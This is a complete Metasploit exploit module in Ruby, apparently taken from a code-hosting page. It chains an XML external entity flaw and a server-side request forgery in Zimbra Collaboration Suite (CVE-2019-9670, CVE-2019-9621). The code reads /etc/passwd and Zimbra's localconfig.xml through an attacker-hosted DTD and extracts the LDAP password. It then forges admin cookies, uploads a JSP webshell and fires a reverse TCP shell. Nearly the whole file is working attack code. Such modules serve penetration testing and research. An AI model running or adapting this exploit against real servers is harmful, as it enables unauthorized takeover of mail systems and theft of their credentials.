259 lines
8.6 KiB
Ruby
259 lines
8.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::HttpServer
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF',
|
|
'Description' => %q{
|
|
This module exploits an XML external entity vulnerability and a
|
|
server side request forgery to get unauthenticated code execution
|
|
on Zimbra Collaboration Suite. The XML external entity vulnerability
|
|
in the Autodiscover Servlet is used to read a Zimbra configuration
|
|
file that contains an LDAP password for the 'zimbra' account. The
|
|
zimbra credentials are then used to get a user authentication cookie
|
|
with an AuthRequest message. Using the user cookie, a server side request
|
|
forgery in the Proxy Servlet is used to proxy an AuthRequest with
|
|
the 'zimbra' credentials to the admin port to retrieve an admin
|
|
cookie. After gaining an admin cookie the Client Upload servlet is
|
|
used to upload a JSP webshell that can be triggered from the web
|
|
server to get command execution on the host. The issues reportedly
|
|
affect Zimbra Collaboration Suite v8.5 to v8.7.11.
|
|
|
|
This module was tested with Zimbra Release 8.7.1.GA.1670.UBUNTU16.64
|
|
UBUNTU16_64 FOSS edition.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'An Trinh', # Discovery
|
|
'Khanh Viet Pham', # Discovery
|
|
'Jacob Robles' # Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
['CVE', '2019-9670'],
|
|
['CVE', '2019-9621'],
|
|
['URL', 'https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html']
|
|
],
|
|
'Platform' => ['linux'],
|
|
'Arch' => ARCH_JAVA,
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', { } ]
|
|
],
|
|
'DefaultOptions' => {
|
|
'RPORT' => 8443,
|
|
'SSL' => true,
|
|
'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
|
|
},
|
|
'Stance' => Stance::Aggressive,
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2019-03-13' # Blog post date
|
|
))
|
|
|
|
register_options [
|
|
OptString.new('TARGETURI', [true, 'Zimbra application base path', '/']),
|
|
OptInt.new('HTTPDELAY', [true, 'Number of seconds the web server will wait before termination', 10])
|
|
]
|
|
end
|
|
|
|
def xxe_req(data)
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri, '/autodiscover'),
|
|
'encode_params' => false,
|
|
'data' => data
|
|
})
|
|
fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 503
|
|
res
|
|
end
|
|
|
|
def soap_discover(check_soap=false)
|
|
xml = REXML::Document.new
|
|
|
|
xml.add_element('Autodiscover')
|
|
xml.root.add_element('Request')
|
|
|
|
req = xml.root.elements[1]
|
|
|
|
req.add_element('EMailAddress')
|
|
req.add_element('AcceptableResponseSchema')
|
|
|
|
replace_text = 'REPLACE'
|
|
req.elements['EMailAddress'].text = Faker::Internet.email
|
|
req.elements['AcceptableResponseSchema'].text = replace_text
|
|
|
|
doc = rand_text_alpha_lower(4..8)
|
|
entity = rand_text_alpha_lower(4..8)
|
|
local_file = '/etc/passwd'
|
|
|
|
res = "<!DOCTYPE #{doc} [<!ELEMENT #{doc} ANY>"
|
|
if check_soap
|
|
local = "file://#{local_file}"
|
|
res << "<!ENTITY #{entity} SYSTEM '#{local}'>]>"
|
|
res << "#{xml.to_s.sub(replace_text, "&#{entity};")}"
|
|
else
|
|
local = "http://#{srvhost_addr}:#{srvport}#{@service_path}"
|
|
res << "<!ENTITY % #{entity} SYSTEM '#{local}'>"
|
|
res << "%#{entity};]>"
|
|
res << "#{xml.to_s.sub(replace_text, "&#{@ent_data};")}"
|
|
end
|
|
res
|
|
end
|
|
|
|
def soap_auth(zimbra_user, zimbra_pass, admin=true)
|
|
urn = admin ? 'urn:zimbraAdmin' : 'urn:zimbraAccount'
|
|
xml = REXML::Document.new
|
|
|
|
xml.add_element(
|
|
'soap:Envelope',
|
|
{'xmlns:soap' => 'http://www.w3.org/2003/05/soap-envelope'}
|
|
)
|
|
|
|
xml.root.add_element('soap:Body')
|
|
body = xml.root.elements[1]
|
|
body.add_element(
|
|
'AuthRequest',
|
|
{'xmlns' => urn}
|
|
)
|
|
|
|
zimbra_acc = body.elements[1]
|
|
zimbra_acc.add_element(
|
|
'account',
|
|
{'by' => 'adminName'}
|
|
)
|
|
zimbra_acc.add_element('password')
|
|
|
|
zimbra_acc.elements['account'].text = zimbra_user
|
|
zimbra_acc.elements['password'].text = zimbra_pass
|
|
|
|
xml.to_s
|
|
end
|
|
|
|
def cookie_req(data)
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri, '/service/soap/'),
|
|
'data' => data
|
|
})
|
|
fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200
|
|
res
|
|
end
|
|
|
|
def proxy_req(data, auth_cookie)
|
|
target = "https://127.0.0.1:7071#{normalize_uri(target_uri, '/service/admin/soap/AuthRequest')}"
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri, '/service/proxy/'),
|
|
'vars_get' => {'target' => target},
|
|
'cookie' => "ZM_ADMIN_AUTH_TOKEN=#{auth_cookie}",
|
|
'data' => data,
|
|
'headers' => {'Host' => "#{datastore['RHOST']}:7071"}
|
|
})
|
|
fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200
|
|
res
|
|
end
|
|
|
|
def upload_file(file_name, contents, cookie)
|
|
data = Rex::MIME::Message.new
|
|
data.add_part(file_name, nil, nil, 'form-data; name="filename1"')
|
|
data.add_part(contents, 'application/octet-stream', nil, "form-data; name=\"clientFile\"; filename=\"#{file_name}\"")
|
|
data.add_part("#{rand_text_numeric(2..5)}", nil, nil, 'form-data; name="requestId"')
|
|
post_data = data.to_s
|
|
|
|
send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri, '/service/extension/clientUploader/upload'),
|
|
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
|
'data' => post_data,
|
|
'cookie' => cookie
|
|
})
|
|
end
|
|
|
|
def check
|
|
begin
|
|
res = xxe_req(soap_discover(true))
|
|
rescue Msf::Exploit::Failed
|
|
return CheckCode::Unknown
|
|
end
|
|
|
|
if res.body.include?('zimbra')
|
|
return CheckCode::Vulnerable
|
|
end
|
|
|
|
CheckCode::Unknown
|
|
end
|
|
|
|
def on_request_uri(cli, req)
|
|
ent_file = rand_text_alpha_lower(4..8)
|
|
ent_eval = rand_text_alpha_lower(4..8)
|
|
|
|
dtd = <<~HERE
|
|
<!ENTITY % #{ent_file} SYSTEM "file:///opt/zimbra/conf/localconfig.xml">
|
|
<!ENTITY % #{ent_eval} "<!ENTITY #{@ent_data} '<![CDATA[%#{ent_file};]]>'>">
|
|
%#{ent_eval};
|
|
HERE
|
|
send_response(cli, dtd)
|
|
end
|
|
|
|
def primer
|
|
datastore['SSL'] = @ssl
|
|
res = xxe_req(soap_discover)
|
|
fail_with(Failure::UnexpectedReply, 'Password not found') unless res.body =~ /ldap_password.*?value>(.*?)<\/value/m
|
|
password = $1
|
|
username = 'zimbra'
|
|
|
|
print_good("Password found: #{password}")
|
|
|
|
data = soap_auth(username, password, false)
|
|
res = cookie_req(data)
|
|
|
|
fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /ZM_AUTH_TOKEN=([^;]+;)/
|
|
auth_cookie = $1
|
|
|
|
print_good("User cookie retrieved: ZM_AUTH_TOKEN=#{auth_cookie}")
|
|
|
|
data = soap_auth(username, password)
|
|
res = proxy_req(data, auth_cookie)
|
|
|
|
fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /(ZM_ADMIN_AUTH_TOKEN=[^;]+;)/
|
|
admin_cookie = $1
|
|
|
|
print_good("Admin cookie retrieved: #{admin_cookie}")
|
|
|
|
stager_name = "#{rand_text_alpha(8..16)}.jsp"
|
|
print_status('Uploading jsp shell')
|
|
res = upload_file(stager_name, payload.encoded, admin_cookie)
|
|
|
|
fail_with(Failure::Unknown, "#{peer} - Unable to upload stager") unless res && res.code == 200
|
|
# Only shell sessions are supported
|
|
register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name}' -type f)")
|
|
register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*1StreamConnector.class' -type f)")
|
|
register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*class' -type f)")
|
|
register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*java' -type f)")
|
|
|
|
print_status("Executing payload on /downloads/#{stager_name}")
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri, "/downloads/#{stager_name}"),
|
|
'cookie' => admin_cookie
|
|
})
|
|
end
|
|
|
|
def exploit
|
|
@ent_data = rand_text_alpha_lower(4..8)
|
|
@ssl = datastore['SSL']
|
|
datastore['SSL'] = false
|
|
Timeout.timeout(datastore['HTTPDELAY']) { super }
|
|
rescue Timeout::Error
|
|
end
|
|
end
|